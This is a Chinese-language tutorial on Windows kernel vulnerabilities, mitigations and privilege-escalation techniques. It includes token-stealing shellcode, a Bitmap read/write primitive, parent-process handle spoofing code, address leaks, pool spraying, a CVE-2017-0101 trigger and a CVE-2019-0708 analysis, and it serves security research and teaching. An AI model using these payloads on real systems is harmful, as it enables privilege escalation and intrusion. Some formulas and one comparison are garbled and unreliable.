介绍
内核漏洞是二进制漏洞一个领域,区别于其他领域,内核漏洞具有如下特殊性:
- 内核代码复杂度高:数十年的更新和维护
- 特权级高:工作在ring0
- 安全防护机制杂:不断衍生出的各种对抗手段
目前的现状:由于前人在系统安全上不断的努力,导致后人研究时需要掌握足够丰富的操作系统知识及相关经验。
本文受众群:
- 二进制漏洞安全研究人员
- 终端安全开发人员
- 底层开发人员
- 其他对内核感兴趣的同学
希望能在一定程度上提升对二进制领域下内核漏洞的认识和攻击技术的理解。
漏洞类型
常见的漏洞类型:
- Double Fetch:内核多次读取用户态地址中数据导致的条件竞争性问题。
- Pool Overflow:内核在进行内存数据操作时,未对大小进行安全考虑,可能导致的内核池溢出问题。
- Use After Free:内核在进行释放对象或者内存操作的时候,未将原始变量的值设置为NULL,导致后续的攻击者可能使用Spray的方式恶意填充原地址数据内容,从而导致被利用的问题。
- Type Confusion:内核的数据结构中经常会使用union来复用一块地址,而不正确的对象操作,可能会导致对象在一定时刻执行特殊的动作,而导致的类型混淆问题。
- Stack Overflow & Stack Overflow GS:内核在拷贝用户态数据结构时,未严格校验局部变量的大小与被拷贝结构的大小,从而导致栈溢出的问题。
- Integer Overflow:内核在校验用户态参数大小时,未合理的校验,导致整数溢出,从而绕过不合理的校验,引发后续的可能溢出问题。
- Memory Disclosure:内核在将一段内核数据拷贝给用户态时,未有效的考虑到数据大小,导致将可能的内核信息泄露给用户态的问题。
- Arbitrary Overwrite:内核在处理用户态数据时,在逻辑处理方面,未合理的考虑,亦或由于大小问题,导致溢出等,从而在特定的时刻形成where=what的情形,导致严重的内核问题。
- Null Pointer Dereference:内核在使用某地址时未合理的校验该地址是否有效,导致NULL页面被能被恶意使用的问题。
- Uninitialized Heap Variable & Uninitialized Stack Variable:内核在使用某些栈变量或者堆变量时,未校验其中数据是否被有效的初始化,而直接使用产生的问题。
- Insecure Kernel Resource Access:内核在访问某些对象时,未检查该执行动作的权限,导致低权限的程序可能操作特定的内核资源的问题。
漏洞分析
内核下的一般漏洞分析,通常使用Windbg远程双机调试的方式,对于特殊漏洞,比如虚拟化漏洞相关,可以采用IDA + VMWare GdbStub的方式。
漏洞分析三要素:
- 调试工具的熟练程度:Windbg
- 漏洞相关的知识与经验:asm、漏洞机理和防护机制等
- 对于特定程序的理解程度:eg. 内核下的进程管理、对象管理、安全管理等。
防护机制
DEP和NX Pool
DEP和Nx Pool的出现都是为了缓解shellcode写入特殊的地址页面发生执行的情况:比如:Kernel Stacks, DPC InitialStack, PFN database, SharedUserData, Hal Heap等 。
二者本质在于操纵对应虚拟地址的PTE中的Nx位,第63位。DEP
可以通过VirtualProtect来分析其在系统上实现机制:
NxPool
Pool是内核用来管理内存的方式,可以类比于用户态的堆,使用PoolDescriptor结构来管理页面;默认分为两种类型:Paged和Non Paged,一般使用函数ExAllocatePoolWithTag来申请。
从Win10开始,微软引入了NxPool,默认开启。内核同时会维护两个PoolDescriptor,二者所描述的空闲地址PTE属性不同,一个开启Nx位,另一个不开启。
如下:
ExAllocatePoolWithTag在实现时会根据参数PoolType类型,获取相应的Pool Descriptor,比如NonPagedPool = 0, NonPagedPoolNx = 0x200。如下图,在从PoolVector获取PoolDescirptor后,判断是否有Nx标志,若没有,则修正Pool Descriptor地址+0x1140。
SMAP/SMEP
基于硬件的一种安全防护措施, 二者的启用有效地阻止从SupervisorMode来访问和执行UserMode页面的数据
CR4中的SMAP与SMEP标志来控制这二者功能的开启和关闭
- SMAP:阻止Supervisor-mode Access
- SMEP:阻止Supervisor-mode Execute
NULL Page Dereference
若发生了NULL Page Deference,攻击者通常可以使用ntdll函数ZwAllocateVirtualMemory来控制NULL 页面。
从Win8开始,用户态程序不能再通过此方式来映射低64K(0x10000)地址空间。
实现原理:
Pool Header Check
PoolIndex
Win7 在Pool 释放时并不会检查PooHeader中的PoolIndex是否超出PoolDescriptor Array的界限。攻击者若溢出此值,会使得引用到一个空的页面,攻击者可以申请NULL页面来实现攻击。
Win8开始在释放时进行校验这个范围:PoolIndex < nt!ExpNumberOfPagedPools,同时阻止用户申请NULL 页面。
Safe (Un)linking
Win7之前,Kernel Pool在申请时,进行摘链的动作是,会校验链表前后指向的指针是否一致。
从Win8开始,不仅仅对摘链时进行校验,在插链时同样开始校验。
Lookaside Pointer Encoding
Win8之后开始对每个Lookaside 链表上的指针都进行了如下动作:
PoolCookie XOR PoolAddress,并且在每次申请时进行检查。
这种方式也同样用在Defered Free List中。
ProcessQuota Pointer
Win10开始对Pool Header中的ProcessPointer开始加密,
当一段内存空间被申请后,PoolHeader中的ProcessPointer以如下方式加密:
ExpPoolQuotaCookie XOR(异或) ChunkAddress XOR(异或) ProcessPointer
当被释放时,ExpPoolQuotaCookie XOR ChunkAddress来获取ProcessPointer。
漏洞利用
Token替换
TokenOverview
Windows使用Token来描述一个特定线程或者进程的安全上下文。
结构nt!_TOKEN,该结构包含许多信息,比如Intergrity Level,privileges, groups等等。此文只关注privileges.
而默认进程EPROCESS中保存的Token所拥有的权限是有限的,而system进程中的权限是最大的,因此在内核利用中,若能获取到一个RW Primitive,则一般采用的动作都是直接来替换Token的值。如下是win10 1507 x86的替换:
TokenStealingPayloadWin10_1507Generic PROC
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET_WIN10_1507_X86] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET_WIN10_1507_X86] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID_WIN10_1507_X86 ; SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET_WIN10_1507_X86] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET_WIN10_1507_X86
cmp [eax + PID_OFFSET_WIN10_1507_X86], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET_WIN10_1507_X86] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET_WIN10_1507_X86], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
ret
TokenStealingPayloadWin10_1507Generic ENDP
进阶版Token修改提权
Windows Privilege Mode
每一个进程在EPROCESS中都包含一个Token对象的引用,该Token是在登录期间由LSASS授予的。
对象访问时会使用SeAccessCheck 来对Token的integrity level进行DACL结构匹配。
权限操作时会使用SeSinglePrivilegeCheck来进行权限校验。比如关机时,验证是否有SeShutdownPrivilege
Token Structure and Privileges
Token结构中的Privilege的类型是_SEP_TOKEN_PRIVILEGES
0: kd> dx -r1 (*((ntkrnlmp!_SEP_TOKEN_PRIVILEGES *)0xffffdc81a4699ab0))
[+0x000] Present : 0x602880000 [Type: unsigned __int64]
[+0x008] Enabled : 0x800000 [Type: unsigned __int64]
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
Present:表示当前Token所拥有的权限,并不代表这些权限启用或者禁用,一旦一个Token创建了,则无法再给其增加权限,只能是启用或者禁用这里的特定权限。
Enabled:代表当前Token所有启用的权限。
EnableByDefault:代表令牌在默认时启用的权限
从Win10 1607开始,不再可以直接修改Enabled位来实现提权了,内核开始校验Enabled位于Present位是否一致,因此你需要同时更新两个才行。
Improve
披露:
Win10 1709之后,针对Token的操作需要特殊权限SeAssignPrimaryTokenPrivilege, SeImpersonatePrivilege,而且即使在普通用户获取这些权限后执行,仍然无法提升特权。
因此,由于普通用户和管理员用户所属的用户和组上的细微差异,导致无法提权。因此,我们不仅需要在修改当前进程的特权之后,依然需要调整当前Token中的用UserAndGroups,使其和管理员相同。从而才能发生提权。
而该利用方式的优点是,目前Token句柄的对象内核地址依然可以通过ZwQuerySystemInformation来获得,其次,Token中所描述的UserAndGroups,依然分布在整个Token对象末尾,无需二次获取。
Bitmap RW Primitive
经典的内核漏洞利用技术,几乎能将所有的漏洞类型,都转换成一个RW Primitive.
Bitmap内核对象结构如下:
// 头
typedef struct {
BASEOBJECT64 BaseObject; // 0x00
SURFOBJ64 SurfObj; // 0x18
[...]
} SURFACE64;
// 基本对象头
typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64; // sizeof = 0x18
// 相应的对象结构
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20 保存位图的宽度和高度
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38 **************保存所有位信息
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
假设我们有一个越界写的漏洞,且只能触发一次,我们可以这么做:
- 创建两个bitmap(eg. A/B)
- 使用地址泄露获取其句柄对应内核对象地址,根据结构可以算出二者的pvScan0的地址
- 利用漏洞,将A bitmap中的pvScan0的值修改为B对象地址
- 对A利用SetBitmapBits可以将你要写入的地址,写入到B Bitmap的pvScan0地址
- 对B利用GetBitmapBits/SetBitmapBits可以实现任意地址的任意读写
进一步:
由于,Windows 1607之前版本中pvScan0所指向的数据区和对象头部分是连续的,因此,倘若有一溢出漏洞可以修改Bitmap对象中的sizlBitmap值:cx或者cy,则可以形成另一个溢出的效果:
typedef struct tagSIZE{
LONG cx; // rectangle's width
LONG cy; // rectangle's height
}SIZE, *PSIZE;
使用SetBitmapBits来修改下一个SURFACE64结构的pvScan0,即又一次形成上述方案。
Rop Chain
Rop 是一种对抗页面不可执行的攻击手段,通过不断寻找可执行页面中的代码片段gadget,通过控制栈的方式,将其串起来,从而完整执行shellcode。
gadget一般都是:
mov rax, xxx
ret
ROP寻找有几点需要注意:
- 首先寻找可以切换栈的ROP,有mov rsp, xxx/ push rax, pop rsp/iret/等
- 在寻找过程中需要不断的优化字节大小,因为越小的字节序列,越容易被匹配到。
- 由于不同的汇编工具,可能对于同一条指令,翻译出的指令略有不同,需要注意。
- 尽可能地在不同模块中寻找,扩大查找范围。
利用特权句柄提权
很多程序员往往疏忽与句柄的管理,只要能拿到实现特定功能的句柄,根本不会考虑此句柄的权限是否已经可以超出自己预先需求。
比如:查询进程所有模块,绝大部分的程序员都是ACCESS_ALL权限,其实只需要Query权限即可。如果该特权句柄泄露,则可以使用该句柄来提权:
简单的来说,InitializeProcThreadAttributeList()函数是用来获取那些被用来创建进程或者线程的一系列属性的值的函数。而UpdateProcThreadAttribute()则是更新具体属性值的函数。比如,在正常进程创建的流程中,有许多属性时需要从父进程获取的,比如device map, process affinity, priority, token等,因此,假如我们修改了特定创建过程中的父进程属性,替换为我们返回的特权 句柄,则完全可以以另一种方式创建一个子进程,而该子进程将以新的token创建,即达到提权的目的。BOOL InitializeProcThreadAttributeList(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwAttributeCount,
DWORD dwFlags,
PSIZE_T lpSize
);
BOOL UpdateProcThreadAttribute(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwFlags,
DWORD_PTR Attribute,
PVOID lpValue,
SIZE_T cbSize,
PVOID lpPreviousValue,
PSIZE_T lpReturnSize
);
InitializeProcThreadAttributeList( si.lpAttributeList, 1, 0, &size );
UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hProc,
sizeof( HANDLE ),
0,
NULL );
si.StartupInfo.cb = sizeof( STARTUPINFOEX );
CreateProcess( NULL, "cmd.exe", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, &si.StartupInfo, &pi );
地址信息泄露
上述的几种方式种都涉及到一项关键的过程,即相应的内核对象的地址,只有获取之后才能进行下一步shellcode的填写。此处总结一下相应的地址泄露方案。NtQuerySystemInformation
可以通过NtQuerySystemInformation泄露句柄地址,当我们获取到一个内核对象的句柄值时,可以通过如下方法来查询句柄对象的实际地址。比如在获取到Token句柄,可以利用此来获取Token对象的内核地址。typedef struct _SYSTEM_HANDLE_EX
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE_EX, *PSYSTEM_HANDLE_EX;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
SystemExtendedHandleInformation
Win32k Shared Info User Handle Table
通过查询Win32k Shared Info User Handle Table可以泄露所有User Object在内核中的地址。比如创建一个窗口,返回窗口的句柄,可以通过此来获取其内核对象地址。但是该方法作用域仅到Win10 1607(含)止。
直接枚举aheList 链表来获取对应句柄的对象信息typedef struct _HANDLEENTRY {
PVOID phead;
PVOID pOwner;
BYTE bType;
BYTE bFlags;
WORD wUniq;
}HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SERVERINFO {
#ifdef _WIN64
UINT64 dwSRVIFlags;
UINT64 cHandleEntries;
#else
DWORD dwSRVIFlags;
DWORD cHandleEntries;
#endif
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
}SERVERINFO, *PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelta;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO, *PSHAREDINFO;
HMValidateHandle
此方法可以看作是Win32k Shared Info User Handle Table的进阶版,在上述方法失效后,可以利用此来继续获取User Object地址。作用范围到Win10 1703。GdiSharedHandleTable
若获得了一个gdi 对象的句柄,可以通过此方法来获取其内核对象的地址。
作用范围到Win10 1511(含)
利用获得的句柄可以直接在此表中找到相应的对象:typedef struct _PEB {
#ifdef _WIN64
UCHAR ignored[0xf8];
#else
UCHAR ignored[0x94];
#endif
PVOID GdiSharedHandleTable;
} PEB, *PPEB;
typedef struct _GDICELL
{
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID pUserAddress;
} GDICELL, *PGDICELL;
addr = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)
控制内存方式
Bitmap Spray
函数:hBitmapA = CreateBitmap( BITMAP_WIDTH, BITMAP_HEIGHT, 1, 32, (VOID)&bitsA );
Win10 1703 x64如下:
CreateBitmap最终会调用到Win32kBase!GreCreateBitmap,其首先会根据传递的Plane与Bits,来决定Format信息,如下图:
紧接着,根据Bitmap格式,判断所有类型,最终赋值给dbmi结构
在CreateDIB函数中,他会根据Format类型来计算大小:
最终通过计算获得的大小为上述总结的公式:(Height width * bits)/8 + PoolHeader + SURFACE::tSize(对象头结构+填充)
MenuName Spray
RegisterClassEx最终会调用函数win32kfull!InternalRegisterClassEx来实现最终的注册,其中关于MenuName最终会调用AllocateUnicodeString来开辟内存空间,并保存到tagCls结构0x90处。
而AllocateUnicodeString中的实现如下:
其中会根据字符大小来申请最终的空间。
AcceleratorTable
加速表的控制还是比较简单的
CreateAcceleratorTable最终会调用NtUserCreateAcceleratorTable()来申请空间,其中在调用内核CreateAcceleratorTable函数的参数中,会计算大小:6*elementCount,最终
会在内核函数CreateAcceleratorTable中加0x22大小,最后调用HMAllocObject来申请。下图中可能没有体现传参过程,这是因为函数定义不正确导致的,从反汇编角度看,最终申请的大小,保存在第四个参数r9中。
// Win10 1703 x64:
// 申请:0x22+0x6*ACCEL_NUM
// 以下代码共申请 ALIGN(0x22+0x6*ACCEL_NUM)个大小,注意没有PoolHeader
{
ACCEL accel[ACCEL_NUM];
HACCEL hAccell = CreateAcceleratorTable( accel, ACCEL_NUM );
}
大内存的控制:WritePipe写入shellcode到内存
首先利用CreatePipe创建一个匿名管道,返回读写的句柄,利用WriteFile将内容写入到管道中。
CreatePipe( &readPipe, &writePipe, NULL, 0x1000 * 0x100 );
而管道内存的地址,调用NtQuerySystemInformation查询 SystemBigPoolInformation (0x42),Pool Flag == rFpN的信息,通过差量比较的方式来获取到。
需要注意的是,最终返回的地址与实现shellcode相差0x30,即拥有一个0x30大小的头结构,才是在最终的数据。
PSYSTEM_BIGPOOL_INFORMATION bigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION)HeapAlloc( GetProcessHeap(), 0, 4 * 1024 * 1024 );
NtQuerySystemInformation( (SYSTEM_INFORMATION_CLASS)0x42, bigPoolInfo, 4 * 1024 * 1024, &ulResultLen );
for ( int i = 0; i < bigPoolInfo->Count; i++ )
{
if ( bigPoolInfo->AllocatedInfo[i].NonPaged == 1 ) {
if ( bigPoolInfo->AllocatedInfo[i].SizeInBytes = 0x1000 ) {
if ( bigPoolInfo->AllocatedInfo[i].TagUlong == Flag ) {
ullFindedAddr = (unsigned __int64)bigPoolInfo->AllocatedInfo[i].VirtualAddress & ~1;
if ( ulLargePoolAddrIndex <= MAX_LARGEPOOL_COUNT )
{
ullLargePoolAddrArray[ulLargePoolAddrIndex++] = ullFindedAddr;
}
else
break;
}
}
}
}
案例
CVE-2017-0101
该漏洞是一个典型的整数溢出漏洞,其原因如下:
hDC = GetDC( NULL );
hBitmap = CreateBitmap( 0x12AE8F, 0x36D, 0x1, 0x1, NULL );
if ( hBitmap )
hBrush = CreatePatternBrush( hBitmap );
else
return -1;
if ( !hBrush )
return -1;
rect[0].nXLeft = 0x100;
rect[0].nYLeft = 0x100;
rect[0].nHeight = 0x100;
rect[0].nWidth = 0x100;
rect[0].hBrush = hBrush;
PolyPatBlt( hDC, PATCOPY, rect, 1, 0 );
PolyPatBlt内部最终会调用EngRealizeBrush来进行进一步操作,其内部会利用参数传递的Brush中制定的Bitmap来申请空间,并初始化:
其根据位图类型,进一步初始化相关变量
紧接着便开始计算要申请的空间大小
最终调用PALLOCMEM2来申请空间,而溢出点,正在与此。
由此,我们可以得出我们一个由我们可控位图来最终产生溢出的一个计算公式:
( 0x20 nSizeBitmap.cx ) >> 3 nSizeBitmap.cy + 0x50 + 0x4c
在上文溢出后,紧接着会发生赋值操作,r14保存申请到的空间,ecx为BitmapFormat
此时ecx保存的是当前的类型,之后的操作中将该值赋值到偏移0x48处,我们恰好可以利用此来实现提权。
CVE-2019-0708
协议简介
RDP协议基于TCP协议,通常分为5个层,由下到上依次为:TCP/IP层, ISO层, MCS层, 安全层, RDP层:
在RDP协议会话中,鼠标和键盘等消息是经过加密发送给服务器从而执行,而服务器所响应的动作也加密后回传给客户端,并借助客户端的图形引擎予以展现。
RDP协议建立的过程可分为10个阶段:
img
漏洞分析
在RDP协议中,Virtual Channel通常被用来进行数据交互,微软的补丁中,针对位于termdd.sys模块的IcaBindVirtualChannels和IcaRebindVirtualChannels函数进行了修复,效果如下:
如图针对,MS_T120信道进行了额外的绑定检查,固定其值为0x1F.
漏洞的原因由于系统保留的MS_T120channel可以被用户发送特定的数据包重新绑定到非31位置处,因此用户在关闭系统会话时,会将非31位置处的MS_T120 Channel指针释放,从而导致系统最后关闭默认0x31时,发生了二次释放。
为此,我们创建了一个POC来验证漏洞,数据包请求如下:
1558595161027
如上图所示,在RDP通信建立过程中,相比与正常的请求中,我们额外发送了一个特定的信道请求,MS_T120其Index为1,POC效果如下
漏洞利用
总结
近年来,微软开始采用基于虚拟化的方案来实现各种安全机制,比如VBS和HVCI等,因此,将导致攻击对抗进一步下沉,谁能越早获得系统的控制权,谁才能获胜。